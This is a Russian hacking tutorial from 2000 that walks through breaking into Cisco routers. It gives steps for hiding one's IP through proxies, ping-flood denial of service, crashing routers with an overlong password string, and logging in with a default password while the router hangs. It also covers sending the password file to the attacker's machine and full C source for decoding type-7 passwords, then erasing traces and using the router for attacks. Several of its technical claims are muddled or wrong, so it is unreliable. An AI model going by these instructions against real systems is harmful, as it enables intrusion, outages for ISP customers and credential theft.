Написано Cyvamp`ом
(с некоторыми
добавлениями Raven`а)
Июль 2000
Внимание: НЕ ИСПОЛЬЗУЙТЕ это
для повреждения системы cisco, или получения
несанкционированного доступа к системам. Эта
консультация для использования в
образовательных целях. Используйте эту
информацию только легально (в публичных
испытаниях нового сервера, например), не
повреждайте и не уничтожайте ничего. Это
пошаговое руководство, показывающее как, при
помощи эксплоита для cisco получить доступ. Если вы
перехватываете пакеты в маршрутизаторе cisco, или
подвешиваете систему, вы можете прервать сотням
клиентов доступ в internet и нанести ущерб в тысячи
долларов, так что используйте это только с
разрешения!! Использование этой информации
неправильным путем доставит вам массу проблем.
Примечание: некоторые части
этой консультации были записаны на Unix`е, и текст
может не преобразоваться в DOS/Windows-совместимый
формат, так что просматривайте этот текст либо в
своем Internet-броузере, либо в более передовом
редакторе, типа Microsoft Word.
ОГЛАВЛЕНИЕ:
Прежде, чем начать:
- Что такое IP-адрес?
- Что такое ISP?
- Что такое TCP/IP-пакет?
- Как подменить свой IP
- Как использовать Telnet
- Как использовать HyperTerminal
- Как использовать Ping
- Как использовать TraceRoute
- Как использовать proxy-сервер
- Секция 1: зачем взламывать
маршрутизатор cisco?
- Секция 2: как обнаружить
маршрутизатор cisco
- Секция 3: как взломать cisco
- Секция 4: как cломать файл
паролей
- Секция 5: как пользоваться
маршрутизатором cisco
Этот материал вам
понадобится ПРЕЖДЕ чем вы начнете:
Что такое IP-адрес?
IP расшифровывается как Internet
Протокол, IP-адреса используются компьютерами,
для идентификации компьютеров, подключающихся к
ним. Именно благодаря им вы можете банить из IRC,
благодаря им, кто-то может узнать, кто ваш ISP.
IP-адреса легко вычисляются, их можно определить,
используя следующие методы:
-когда вы заходите на сайт, ваш
IP логируется
-на IRC, любой может узнать ваш IP
-в ICQ, люди могут узнать ваш IP,
даже если в настройках стоит "не показывать
реальный ip", они все равно могут его узнать
-если вы куда-нибудь
подключились, они могут набрать "systat", и
узнать, кто к ним подключился
-если кто-нибудь шлет вам
письмо с java-апплетом, логирующим IP, они так же
могут узнать ваш IP-адрес
Существует еще огромное
количество путей получения IP-адресов, включая
использование программ-бэкдоров, таких как,
например, Sub7 или NetBus.
Что такое ISP?
ISP расшифровывается как
Поставщик Услуг Internet, это те, кто дает вам доступ
в internet. Вы соединяетесь с одним из них, путем
набора телефонного номера, и создаете
соединение. Люди могут узнать вашего ISP просто
запустив на вас traceroute (traceroute объясняется позже).
Это выглядит приблизительно
так:
tracert 222.222.22.22
Трассировка маршрута к [221.223.24.54] с максимальным
числом переходов 30.
1 147ms 122ms 132ms ваш.isp [222.222.22.21]
2 122ms 143ms 123ms isp.firewall [222.222.22.20]
3 156ms 142MS 122ms aol.com [207.22.44.33]
4 * * * Request timed out
5 101ms 102ms 133ms cisco.router [194.33.44.33]
6 233ms 143ms 102ms something.ip [111.11.11.11]
7 222ms 123ms 213ms netcom.com [122.11.21.21]
8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]
9 122ms 223ms 243ms altavista.34.com [121.22.32.43] <<< isp цели
10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54]
Трассировка завершена.
Что такое TCP/IP-пакет?
TCP/IP расшифровывается как
Протокол Управления Передачей/Internet Протокол,
TCP/IP-пакет представляет собой сжатый блок данных,
содержащий в заголовке адрес компьютера,
которому он адресован. ВСЕ передачи internet,
происходят посылкой пакетов. Заголовок пакета
содержит в себе IP-адрес отправителя. Вы можете
перезаписать пакет и заставить его показывать
поддельный IP-адрес отправителя!! Вы можете
воспользоваться этим для получения доступа к
массе систем, и в то же время не быть пойманным.
Вам понадобится запустить Linux или обзавестись
программой, которая позволит вам это сделать. В
этой консультации не говорится о том, что это
нужно делать именно в маршрутизаторе Cisco, это
может оказаться полезным при взломе любой
системы. Если что-то не получается, когда вы
пытаетесь взломать систему, вы всегда можете
попробовать этот способ...
Как подменить свой IP:
Найдите программу, подобную
Genius 2 или DC IS, которая позволяла бы вам запустить
IdentD. Это позволит вам заменить часть
компьютерной информации по желанию! Используйте
это, когда вы хотите кого-нибудь забанить на
канале IRC... вы можете получить на это право! Вы
также можете использовать это, когда вы
пытаетесь получить доступ к удаленной системе,
так что она залогирует неправильный id...
Как использовать telnet:
Вы можете запустить telnet просто
зайдя в меню Пуск, затем Выполнить, и введя
"telnet". Как только вы запустите telnet, вы
возможно захотите изменить некоторые
характеристики. Кликните на
Терминал>Параметры. Здесь вы можете изменить
размер буфера, шрифт, и свои настройки. Вы также
можете включить/выключить "отображение
ввода", если вы включите отображение ввода, то
ваш компьютер будет отображать все, что вы
набираете, и все, что отвечает вам удаленная
система. Итак, у вас может получиться
приблизительно это:
Вы набираете "hello", и
получаете hhelelollo
Дело в том, что информация
отправилась и смешалась с набранным.
Единственное, что я уточню, если машина НЕ
возвращает то, что вы набирали. По умолчанию, telnet
соединяется с системой через telnet-порт, это 23 порт.
Теперь вы не всегда будете иметь желание
подключаться через 23 порт, когда вы хотите
соединиться, вы можете изменить порт соединения
на 25, это порт почтовых серверов. Или может быть 21
порт, для FTP. Имеются тысячи портов, так что вам
решать, какой из них выбрать!
Как использовать HyperTerminal:
HyperTerminal позволяет вам
открывать "сервер" на любом из портов вашего
компьютера для получения информации от
определенных компьютеров. Для его запуска
зайдите в Пуск>Программы>
Стандартные>Связь>HyperTerminal. Для начала вам
потребуется выбрать соединение, выберите "TCP/IP
Winsock", затем введите компьютер, с которым надо
связаться, и номер порта. В нем укажите
Связь>Ждать звонка. Теперь, другой компьютер
может соединиться через этот порт, и вы можете
общаться и передавать друг другу файлы.
Как использовать Ping:
Ping это легко, просто откройте
Сеанс MS-DOS, и наберите "ping ip.адрес", по
умолчанию ping пошлет 3 пакета, но вы можете набрать
"ping ip.адрес -t". Это делает ping непрекращаемым.
Чтобы изменить размер пакета ping, наберите : "ping
-l (размер) ip.адрес". Что делает ping - он шлет пакет
данных компьютеру, затем смотрит сколько их
вернулось, определяя скорость связи между
компьютерами, и время, которое ему требуется на
прием и обратную отправку пакета (это называется
"trip time"). Ping также может использоваться для
замедления или даже разрушения системы, если
система перегрузится из-за потока ping`а.
Windows 98 вылетает после одной
минуты пингфлудинга (это называется
переполнение буфера - когда поступает слишком
большое количество запросов, Windows решает брать
небольшой отпуск). Для атаки пингфлудинг
требуется большая ширина полосы частот, то есть
вы должны занять ширину полосы частот, большую,
чем ваша цель (если ваша цель - Windows 98 и у вас есть
средненький модем, то время, в течение которого
вам придется ее пинговать, приблизительно одна
минута). Пингфлудинг не эффективен против
сильных целей, но если вы используете несколько
сессий пинга одновременно и контролируете
несколько полос частот хозяев, то вы также можете
зафлудить вашу цель.
Примечание: DOS'овская опция -t не
создает пингфлудинга, эти пинги продолжаются с
интервалами от одного ping`а к другому. В любом
дистрибутиве Unix или Linux, вы можете использовать
команду ping -f для создания реального флудинга.
Как использовать TraceRoute:
Для трассировки вашего
соединения (просмотра всех компьютеров между
вами и целью), просто откройте "Сеанс MS-DOS" и
введите "tracert ip.адрес", вы увидите список
всех компьютеров между вами и целью. Вы можете
использовать это для определения наличия
файрвола, блокирующего что-нибудь. Так же это
позволит вам определить чей-нибудь ISP (поставщик
услуг internet). Для определения ISP, просто посмотрите
предпоследний IP-адрес, это должен быть один из
маршрутизаторов ISP.
Основной принцип работы traceroute -
TCP/IP несет в заголовке величину (это в заголовке
IP-пакета. Если вы не знаете, что это такое, просто
проигнорируйте эту часть, это не критично),
названную TTL, которая расшифровывается как Время
Жизни Пакета. Всякий раз при проходе пакета
(прохождении через маршрутизатор) величина TTL
уменьшается на один. Это всего лишь мера
предосторожности на случай, если что-то пойдет
неправильно и пакет вынужден будет блуждать по
всей сети, занимая таким образом ширину полосы
частот. Итак, когда пакет TTL достигнет нуля, он
уничтожится и ICMP отошлет его отправителю
сообщение об ошибке. Теперь, traceroute шлет TTL-пакет
со значением 1. Пакет быстро вернется на адрес
отправителя с сообщением об ICMP-ошибке в
заголовке, traceroute знает, откуда был совершен
первый проход пакета. Затем он отсылает TTL-пакет
со значением 2, и он возвращается после второго
прохода. Так продолжается, пока он не достигнет
расположения цели. Теперь это уже не так весело?
🙂
Как использовать proxy-сервер:
Найдите в сети proxy-сервер,
который позволяет работать с ним через любой
порт. Как только найдете один, подключитесь к
нему telnet`ом или hyperterminal`ом, потом соединитесь с
любым другим компьютером через этот proxy-сервер.
Благодаря этому, тот другой компьютер не узнает
ваш IP-адрес.
Секция 1: зачем взламывать
маршрутизатор cisco?
Странный вопрос... зачем
взламывать маршрутизатор cisco? Причина - они
полезны для перехвата пакетов между системами...
Маршрутизаторы Cisco очень быстрые, некоторые с 18 T1
связями на каждой системе, они также очень гибкие
и могут быть использованы для DoS-атак или для
взлома множества других систем и доступа к ним
telnet`ом. Также, через них постоянно проходят
тысячи пакетов, которые могут быть перехвачены и
декодированы... Также, многие системы доверяют
маршрутизаторам cisco, поэтому у вас появятся
определенные права доступа к компьютерам этой
сети.
Секция 2: обнаружение
маршрутизатора cisco
Обнаружение маршрутизатора cisco
является довольно легкой задачей, почти каждый ISP
проходит по крайней мере через один
маршрутизатор cisco. Простейшим способом
обнаружения маршрутизатора cisco является запуск
traceroute из dos`а (введите "tracert" и затем IP-адрес
какого-нибудь компьютера), вы можете проследить
многие из них, поскольку trace покажет все
компьютерные системы между вами и целью.
Вероятно, одна из этих систем будет иметь имя
"cisco". Если вы найдете один, подобный этому,
ниже будет его IP-адрес. Теперь у вас есть адрес
маршрутизатора, но он может быть защищен
файрволом, вы это увидите, если ping будет
блокироваться, но если значение ping`а вернулось к
вам, значит оно не заблокировано. По-другому, вам
надо попытаться соединиться с некоторыми
портами маршрутизатора cisco, вы можете делать это
просто используя telnet, и открывая соединение с
маршрутизатором через 23 порт... Если он спросит
только пароль, без имени пользователя, то вы в
маршрутизаторе, но если спросит еще и имя
пользователя, то вероятнее всего вы в файрволе.
Попытайтесь найти маршрутизатор без файрвола,
так как эта консультация рассказывает
непосредственно о взломе маршрутизатора, а не
файрвола. Как только вы будете уверены, что нашли
подходящую систему, вам потребуется найти
proxy-сервер, позволяющий использовать 23 порт,
благодаря этому, ваш IP не будет логироваться
маршрутизатором.
Секция 3: как вломиться в
маршрутизатор cisco
Маршрутизаторы cisco, работающие
на v4.1 (самая распространенная версия на данный
момент) можно легко вывести из строя. Вы просто
соединяетесь с маршрутизатором через proxy-сервер
к порту 23, и вводите эту ОГРОМНУЮ строку пароля,
приблизительно такую:
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465
qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyals
kdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncb
v019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk1029
3847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwo
eirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfh
gzmxncbv019dsk
Теперь ждем, система cisco могла
перезагрузиться и вы не сможете ее сломать пока
она в оффлайне... Но она может и зависнуть на 2-10
минут, которые вы должны использовать для входа в
нее. Но если ничего не произошло, значит она
работает не на уязвимом программном обеспечении,
в этом случае, вы можете попробовать совершить
DoS-атаку, напоминающую огромный пинг. Зайдите в dos
и наберите "ping -l 56550 ip.адрес.cisco. -t",
произведет тот же самый эффект. Пока он завис,
откройте другое соединение с ним через другой
proxy, и введите пароль "admin", дело в том, что это
пароль маршрутизатора по умолчанию, и пока он
выведен из строя, можно проникнуть так. Теперь,
когда вы зарегистрированы, вы должны получить
файл паролей! Системы запускают другое
программное обеспечение, но лучше будет
прочитать подсказку, типа "htl-textil" или
другую, теперь наберите "?" - вы увидите
огромный список возможных команд, где-то там
будет команда отправки файла, используйте это
для получения файла паролей админа (он легальный
пользователь) и пошлите его на ваш IP-адрес, на
порт 23. Но прежде, чем вы это сделаете, вы должны
будете открыть соединение, между HyperTerminal`ом и
маршрутизатором cisco. Теперь, как только вы
пошлете этот файл, HyperTerminal спросит вас, можно ли
принять файл, который прислала эта машина,
говорите да, и сохраняйте этот файл на диске.
Выходите из системы.
Вы преодолели труднейшую часть
этого руководства, и теперь можете сами себя
погладить по головке и настроиться на взлом
этого файла паролей!
Секция 4: взлом файла
паролей
Теперь, когда у вас есть файл
паролей, вы должны взломать его так, чтобы вы
могли иметь доступ к маршрутизатору постоянно.
Чтобы сделать это, вы можете воспользоваться
программой, подобной John the Ripper или какой-нибудь
еще, натравив ее на файл паролей, так вы сможете
узнать его. Это простейший метод, и метод, который
я рекомендую лично. Другой путь - попытаться
декодировать его. Для этого, вам понадобится
некоторое программное обеспечение для
расшифровки, много терпения и знание алгоритмов
шифрования.
Вот программа, для
декодирования файла паролей cisco, это надо
откомпилировать в linux:
#include <stdio.h>
#include <ctype.h>
char xlat[] = {0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44};
char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";
char *pname;
cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;
if(strlen(enc_pw) & 1)
return(-1);
seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);
for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}
val *= 16;
if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - '0';
continue;
}
if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
val += enc_pw[i] - 'A' + 10;
continue;
}
if(strlen(enc_pw) != i)
return(-1);
}
dec_pw[++i / 2] = 0;
return(0);
}
usage(){
fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
fprintf(stdout, " %s <router config file> <output file>\n", pname);
return(0);
}
main(argc,argv)
int argc;
char **argv;
{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;
pname = argv[0];
if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}
if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;
case 'p':
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;
default:
fprintf(stderr, "%s: unknow option.", pname);
}
return(0);
}
if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}
while(1) {
for(i = 0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;
fclose(in);
fclose(out);
return(0);
}
if(line[i] == '\r')
i--;
if(line[i] == '\n')
break;
}
pw_pos = 0;
line[i] = 0;
if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);
if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);
if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}
if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);
fprintf(out, "%s\n", passwd);
}
}
}
Если у вас нет Linux`а, то
единственный способ подобрать пароль - запустить
грубую атаку по словарю,воспользовавшись
программой John the Ripper, или другим взломщиком
паролей.
Секция 5: использование
маршрутизатора
Для использования этой
замечательной технологии, вы должны
подключиться через proxy-сервер, если вы не хотите
засветить свой IP. Как только вы
зарегистрируетесь, вам потребуется удалить
записи из лог-файла, так, чтобы никто не узнал о
вашем присутствии в системе, введите "terminal history
size 0". Теперь запись в лог-файл будет
прекращена! Введите "?" для просмотра списка
всех команд маршрутизатора, и вы сможете
воспользоваться некоторыми из них. В этих
маршрутизаторах обычно открыт telnet, поэтому вы
можете использовать telnet для подключения к
некоторым системам, (подобно unix-блокам) и
взламывать в них все. Они также оснащены ping`ом и
traceroute`ом, которые вы можете использовать для
трассировки систем и проведения DoS-атак. Также вы
можете использовать это, для перехвата и
прерывания доставки пакетов, но я не советую
этого делать, так как это не всегда будет
срабатывать, и вас могут разоблачить...
Если вы не сломаете cisco сразу
же, не переживайте... вероятнее всего, что это не
получится у вас сразу, в сию же секунду. Для
этого требуется опыт и терпение. Здесь всего лишь
описывается КАК это сделать... И убедитесь, что,
то, что вы собираетесь сделать - ЗАКОННО.